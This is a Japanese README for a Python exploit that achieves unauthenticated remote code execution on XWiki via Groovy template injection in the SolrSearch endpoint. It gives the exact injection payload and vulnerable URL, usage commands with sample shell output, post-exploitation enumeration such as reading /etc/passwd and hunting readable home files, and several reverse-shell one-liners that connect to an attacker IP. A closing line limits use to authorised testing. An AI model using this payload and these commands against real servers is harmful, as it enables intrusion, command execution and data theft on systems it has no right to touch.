
XWikiのSolrSearchマクロを介した認証なしリモートコード実行
SolrSearch エンドポイントの Groovy テンプレートインジェクションを介して、XWiki Server-Side Template Injection (SSTI) の脆弱性を悪用する Python エクスプロイトです。
pip3 install requests beautifulsoup4
./xwiki_exploit.py -u http://target --test
./xwiki_exploit.py -u http://target.com -c "whoami"
./xwiki_exploit.py -u http://target.com -c "id"
./xwiki_exploit.py -u http://target.com -c "ls -la /tmp"
./xwiki_exploit.py -u http://target.com
これにより、コマンドを実行できるインタラクティブな疑似シェルが提供されます。
xwiki> whoami
xwiki
xwiki> pwd
/usr/lib/xwiki-jetty
xwiki> ls /home
oliver
xwiki> exit
./xwiki_exploit.py -u http://target.com -c "id" --debug
-u, --url URL: 対象URL (必須)-c, --command CMD: 単一コマンドを実行--test: 対象が脆弱かどうかをテスト--no-verify-ssl: SSL証明書の検証を無効化--debug: デバッグ出力を有効化情報収集:
./xwiki_exploit.py -u http://target.com -c "uname -a"
./xwiki_exploit.py -u http://target.com -c "cat /etc/os-release"
./xwiki_exploit.py -u http://target.com -c "cat /etc/passwd"
注目すべきファイルの検索:
./xwiki_exploit.py -u http://target.com -c "find /home -type f -readable 2>/dev/null"
./xwiki_exploit.py -u http://target.com -c "ls -la /var/lib/xwiki"
ネットワーク情報:
./xwiki_exploit.py -u http://target.com -c "ip addr"
./xwiki_exploit.py -u http://target.com -c "netstat -tulpn"
リバースシェルの確立:
# On attacker machine, start listener:
nc -lvnp 1337
# From exploit (try different methods):
./xwiki_exploit.py -u http://target.com -c "bash -c 'bash -i >& /dev/tcp/IP/1337 0>&1'"
./xwiki_exploit.py -u http://target.com -c "nc -e /bin/sh IP 1337"
./xwiki_exploit.py -u http://target.com -c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP 1337 >/tmp/f"
このエクスプロイトは、次の SSTI ペイロード構造を使用します。
}}}{{async async=false}}{{groovy}}println("COMMAND".execute().text){{/groovy}}{{/async}}
ペイロードは URL エンコードされ、脆弱なエンドポイントに送信されます。
/xwiki/bin/view/Main/SolrSearch?media=rss&text=[PAYLOAD]
サーバーは Groovy テンプレートを処理し、コマンドを実行します。
出力は RSS フィードのレスポンスから次の形式で取得されます。
search on [}}OUTPUT]
エクスプロイトは HTML レスポンスを解析してコマンド出力を抽出します。
xwiki ユーザー (uid=997) として実行されます。/usr/lib/xwiki-jetty です。このツールは、教育および許可されたペネトレーションテストの目的にのみ使用してください。テストする許可を得たシステムでのみ使用してください。